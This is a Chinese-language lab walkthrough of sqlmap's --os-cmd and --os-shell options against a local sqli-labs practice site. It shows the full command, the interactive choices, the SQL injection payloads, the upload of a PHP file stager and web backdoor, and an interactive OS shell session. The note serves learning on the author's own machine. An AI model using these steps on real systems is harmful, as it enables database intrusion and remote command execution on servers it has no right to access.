@author: 南瓜_pump

@date: 2021/10/27

1 【本地环境】

- Windows 10
- MySQL 5.7.26
- 数据库root权限

2.【--os-cmd】

2.1【输入】

执行命令：sqlmap -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 -p id -dbms mysql --os Windows --os-cmd ipconfig

输入Web根目录：D:\phpstudy_pro\WWW

2.2【执行过程的配置项】

1. [INFO] going to use a web backdoor for command execution
   which web application language does the web server support?
   [1] ASP (default)
   [2] ASPX
   [3] JSP
   [4] PHP
2. do you want sqlmap to further try to provoke the full path disclosure? [Y/n]

unable to automatically retrieve the web server document root

3. what do you want to use for writable directory?
   [1] common location(s) ('C:/xampp/htdocs/, C:/wamp/www/, C:/Inetpub/wwwroot/') (default)
   [2] custom location(s)
   [3] custom directory list file
   [4] brute force search
4. please provide a comma separate list of absolute directory paths
5. do you want to retrieve the command standard output? [Y/n/a]

2.3【执行过程Eg】

2.3.1 【测试注入点】

2.3.2【设置上传文件和路径并执行命令】

1. 设置后门文件类型
2. 测试绝对路径泄漏
3. 设置网站绝对路径，暂时不清楚[3]目录列表文件的功能
4. 提供定制的Web根目录位置，尝试上传暂存器和后门文件，并执行命令
5. 打印命令输出
6. 清除后门等文件，把执行过程的数据保存到本地

```
sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 -p id -dbms mysql --
os Windows --os-cmd ipconfig
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.5.8.8#dev}
|_ -| . [,]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

# 第一部分，测试注入点
[16:08:19] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 4635=4635 AND 'OLFg'='OLFg

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY
clause (GTID_SUBSET)
    Payload: id=1' AND GTID_SUBSET(CONCAT(0x71706a6a71,(SELECT
(ELT(2745=2745,1))),0x716a787871),2745) AND 'segR'='segR

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 6401 FROM (SELECT(SLEEP(5)))kgwb) AND
'cRLW'='cRLW

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-2265' UNION ALL SELECT
NULL,CONCAT(0x71706a6a71,0x7578796f5451727049447947656c70717759494f766f6768454
f4d5377666e444c65554a6b6948,0x716a787871),NULL-- -
---
[16:08:19] [INFO] testing MySQL
[16:08:19] [INFO] confirming MySQL
[16:08:19] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.9, Apache 2.4.39
back-end DBMS: MySQL >= 5.0.0

# 第二部分，设置上传文件和路径并执行命令
## （1）设置后门文件类型
```

```
[16:08:19] [INFO] going to use a web backdoor for command execution
which web application language does the web server support?
[1] ASP (default)
[2] ASPX
[3] JSP
[4] PHP
> 4

## （2）测试绝对路径泄漏
do you want sqlmap to further try to provoke the full path disclosure? [Y/n] n
[16:08:39] [WARNING] unable to automatically retrieve the web server document
root
what do you want to use for writable directory?

## （3）设置网站绝对路径，暂时不清楚[3]目录列表文件的功能
[1] common location(s) ('C:/xampp/htdocs/, C:/wamp/www/, C:/Inetpub/wwwroot/')
(default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 2

## （4）提供定制的Web根目录位置，尝试上传暂存器和后门文件，并执行命令
please provide a comma separate list of absolute directory paths:
D:\phpstudy_pro\WWW
[16:08:51] [WARNING] unable to automatically parse any web server path
[16:08:51] [INFO] trying to upload the file stager on 'D:/phpstudy_pro/WWW/' via
LIMIT 'LINES TERMINATED BY' method
[16:08:51] [INFO] the file stager has been successfully uploaded on
'D:/phpstudy_pro/WWW/' - http://127.0.0.1:80/tmpugoke.php
[16:08:52] [INFO] the backdoor has been successfully uploaded on
'D:/phpstudy_pro/WWW/' - http://127.0.0.1:80/tmpbwezr.php

## （5）打印命令输出
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:
---
Windows IP 配置
略
---

## （6）清除后门等文件，把执行过程的数据保存到本地
[16:09:44] [INFO] cleaning up the web files uploaded
[16:09:44] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 2 times
[16:09:44] [INFO] fetched data logged to text files under
'C:\Users\Administrator\AppData\Local\sqlmap\output\127.0.0.1'
```

3.【--os-shell】

SQLMap命令和配置输入、运行过程的配置项与【--os-cmd】完全相同，执行过程也基本相同。因此从【设置上传文件和路径并执行命令】部分开始记录。不再对配置选项进行注释。

```
do you want sqlmap to further try to provoke the full path disclosure? [Y/n] n
```

```
[16:24:21] [WARNING] unable to automatically retrieve the web server document
root
what do you want to use for writable directory?
[1] common location(s) ('C:/xampp/htdocs/, C:/wamp/www/, C:/Inetpub/wwwroot/')
(default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 2
please provide a comma separate list of absolute directory paths:
D:\phpstudy_pro\WWW
[16:24:30] [WARNING] unable to automatically parse any web server path
[16:24:30] [INFO] trying to upload the file stager on 'D:/phpstudy_pro/WWW/' via
LIMIT 'LINES TERMINATED BY' method
[16:24:30] [INFO] the file stager has been successfully uploaded on
'D:/phpstudy_pro/WWW/' - http://127.0.0.1:80/tmpuvjfg.php
[16:24:30] [INFO] the backdoor has been successfully uploaded on
'D:/phpstudy_pro/WWW/' - http://127.0.0.1:80/tmpbrhid.php

## 开始进入交互shell
[16:24:30] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> cd
do you want to retrieve the command standard output? [Y/n/a] y
No output
os-shell> chdir
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: 'D:\phpstudy_pro\WWW'
os-shell> exit
[16:26:48] [INFO] cleaning up the web files uploaded
[16:26:48] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 2 times
[16:26:48] [INFO] fetched data logged to text files under
'C:\Users\Administrator\AppData\Local\sqlmap\output\127.0.0.1'
```